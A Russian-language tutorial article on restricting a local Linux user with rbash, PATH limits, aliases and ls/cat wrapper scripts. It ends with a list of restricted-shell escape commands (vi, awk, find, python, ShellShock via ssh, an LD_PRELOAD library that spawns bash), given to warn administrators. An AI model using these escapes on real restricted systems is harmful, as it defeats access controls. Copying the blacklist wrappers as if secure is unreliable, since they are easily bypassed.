Pull to refresh

Ограничение прав локального пользователя в Linux до минимума

Reading time5 min
Views38K
Котик Как то раз появилась следующая задача: создать локального пользователя в ОС Linux, с ограниченным доступом к папкам и файлам, включая не только редактирование, но и просмотр, а также возможность использовать только разрешенные утилиты. Предусматривается только локальный доступ, сетевого доступа нет.

Что бы не изобретать велосипед, первым делом начал копать интернет, в результате чего были найдены следующие варианты:

  • ограничения доступа через сетевые службы ssh, sftp (не подошло)
  • разграничение прав доступа самой операционной системой linux (не подошло, хотелось бы универсальное решение)
  • использование chroot (не подошло)
  • использование сторонних утилит, например SELinux (не подошло, усложняет систему).

В результате поиска, был найден встроенный механизм ограничения возможностей пользователя внутри оболочки bash, он называется Restricted Shell или rbash.

В нем реализованы следующие ограничения:

  • нет возможности смены каталога командой cd
  • нельзя сбрасывать или изменять значения переменных SHELL, PATH, ENV, BASH_ENV
  • запрещено указывать команды содержащие / (косую черту)
  • запрещено импортировать функции из основной оболочки
  • запрещено перенаправлять вывод с использованием операторов >, <, |, <>, >&, &>, >>
  • запрещено использовать команду exec для подмены команды и пр.

Есть минус, это безопасность, поэтому необходимо в обязательном порядке добавить alias на команды в файл поведения оболочки .bashrc (информация будет далее).

Конечно rbash из коробки, всех задач не решает, поэтому на примере рассмотрим создание пользователя и настройка его окружения для полного решения нашей задачи.

Далее все операции выполняются от суперпользователя (root).

1. Создаем ограниченную оболочку

echo '/bin/bash -r' > /bin/zbash
chmod +x /bin/zbash

2. Создаем пользователя

adduser --home /home/zuser --shell /bin/zbash zuser

3. Изменяем права директории

chown root.zuser /home/zuser
chmod 750 /home/zuser

4. Переходим в директорию и очищаем ее

cd ~zuser
ls -a
rm .bash*
rm .profile
ls -a

5. Настраиваем оболочку и права

echo "PATH=:/home/zuser/bin" > .bashrc
echo "alias help='echo access is limited'" >> .bashrc       # alias на команду help
echo "bind 'set disable-completion on'" >> .bashrc          # Отключает автодополнение на tab
mkdir -p bin
chmod 750 bin
chown -R root.zuser /home/zuser
chmod 640 .bash*

Файл .bashrc определяет поведение командной оболочки, в данный файл можно добавить alias для команд или дополнительные опции.

Для обеспечения безопасности выполните следующие команды:

echo "alias echo=':'" >> .bashrc
echo "alias cat=':'" >> .bashrc
echo "alias bash=':'" >> .bashrc
echo "alias sh=':'" >> .bashrc
echo "alias ln=':'" >> .bashrc
echo "alias set=':'" >> .bashrc
echo "alias uset=':'" >> .bashrc
echo "alias export=':'" >> .bashrc
echo "alias typeset=':'" >> .bashrc
echo "alias declare=':'" >> .bashrc
echo "alias alias=':'" >> .bashrc
echo "alias unalias=':'" >> .bashrc

Данный список можно продолжать…

6. Проверяем работу

root@host: su zuser
zuser@host: help
            access is limited
zuser@host: pwd
            /home/zuser
zuser@host: ls /tmp/
            bash: ls: команда не найдена
zuser@host: /bin/ls
            bash: /bin/ls: ограниченный режим в команде нельзя использовать косую черту {/}
zuser@host: echo $PATH
            :/home/zuser/bin
zuser@host: PATH=/bin/
            bash: PATH: переменная только для чтения
zuser@host: exit

7. Добавляем допустимые команды

ln -s /bin/ping /home/zuser/bin/ping

Важно, пути в команде ln необходимо указывать полностью.

8. Для ограничения опций команды можно использовать обертки

mkdir /var/scripts
echo "/usr/sbin/useradd -D" > /var/scripts/user-info
chmod +x /var/scripts/user-info
ln -s /var/scripts/user-info /home/zuser/bin/user-info

9. Для работы с файлами и папками можно также создать обертку
с черным списком (разрешить все, кроме):
— создаем файл

nano /var/scripts/ls

— содержимое файла

blacklist="\? ../ /etc /bin /boot /var"
for var in $blacklist
do
    if [[ $* == *$var* ]]; then
        echo 'Access is denied:' $*
        exit
    fi
done
/bin/ls $* 

blacklist — переменная содержащая черный список директорий или файлов (через пробел)
— добавляем команду для пользователя zuser

chmod +x /var/scripts/ls
ln -s /var/scripts/ls /home/zuser/bin/ls

Данный скрипт разрешает выполнять команду ls с любыми ключами для каталогов и файлов не совпадающих с черным списком

с белым списком (запретить все, кроме):
— создаем файл

nano /var/scripts/cat

— содержимое файла

whitelist="./ /tmp/"   # белый список
for var in $whitelist
do
    if [[ $* == *$var* ]]; then
        /bin/cat $*      # запуск утилиты cat с заданными параметрами
        exit
    fi
done
echo 'Access is denied:' $*

whitelist — переменная содержащая белый список директорий или файлов (через пробел)
— добавляем команду для пользователя zuser

chmod +x /var/scripts/cat
ln -s /var/scripts/cat /home/zuser/bin/cat

Данный скрипт разрешает выполнять команду cat с указанными файлами в белом списке

Готово, в итоге получили следующий результат:

  • мы создали пользователя zuser с оболочкой rbash
  • отключили возможность использования автодополнения в консоли
  • zuser может запускать утилиты только из директории /home/zuser/bin
  • добавили пользователю zuser команду ping
  • добавили пользователю zuser собственную команду user-info
  • пользователю zuser ограничили через обертку выполнение команд ls и cat


Данный способ к сожалению не гарантирует 100% безопасность, и при определенных знаниях и квалификации пользователь может покинуть данную оболочку. Спасибо Jouretz arheops YaDr они в комментариях привели примеры обхода ограничений оболочки.

В данном решение существуют следующие уязвимости (Shell Escape), которые необходимо обязательно учитывать:
PATH Возможность изменить переменную PATH
Копирование файлов по scp Возможность загрузить свой скрипт
При подключении по ssh можно изменить оболочку
ssh zuser@x.x.x.x -t "/bin/bash"
При подключении по ssh можно изменить файл конфигурации оболочки
ssh zuser@x.x.x.x -t "bash --noprofile"
При подключении по ssh можно использовать ShellShock
ssh zuser@x.x.x.x -t "() { :; }; /bin/bash"
Через утилиты vi, vim
:!bash
Через утилиты vi, vim
:set shell=/bin/bash
:shell
Через утилиты man, more, less
!bash
Через утилиту find
find . -maxdepth 0 -execdir /bin/bash \;
Через утилиту awk
awk 'BEGIN {system("/bin/bash")}'
Через утилиту nmap
nmap --interactive
Через утилиту nmap
echo "os.execute('/bin/sh')" > exploit.nse
nmap --script=exploit.nse
Через perl
perl -e 'exec "/bin/bash";'
Через python
python -c 'import pty; pty.spawn("/bin/bash")'
Через ruby
ruby: exec "/bin/bash"
Через LD_PRELOAD Создаем файл evil.c:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo work");
    system("/bin/bash --noprofile");
}

Компилируем:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles

Передаем полученный файл evil.so на машину с закрытой консолью и выполняем:
LD_PRELOAD=$PWD/evil.so ls

В качестве аргумента любая доступная команда

В связи с наличием достаточно большого количества уязвимостей, данный способ можно использовать только для локального пользователя на не критических системах, для доступа по сети через ssh лучше использовать chroot или другие утилиты ограничения возможностей пользователей.

Надеюсь данная информация будет полезной.
Tags:
Hubs:
+17
Comments66

Articles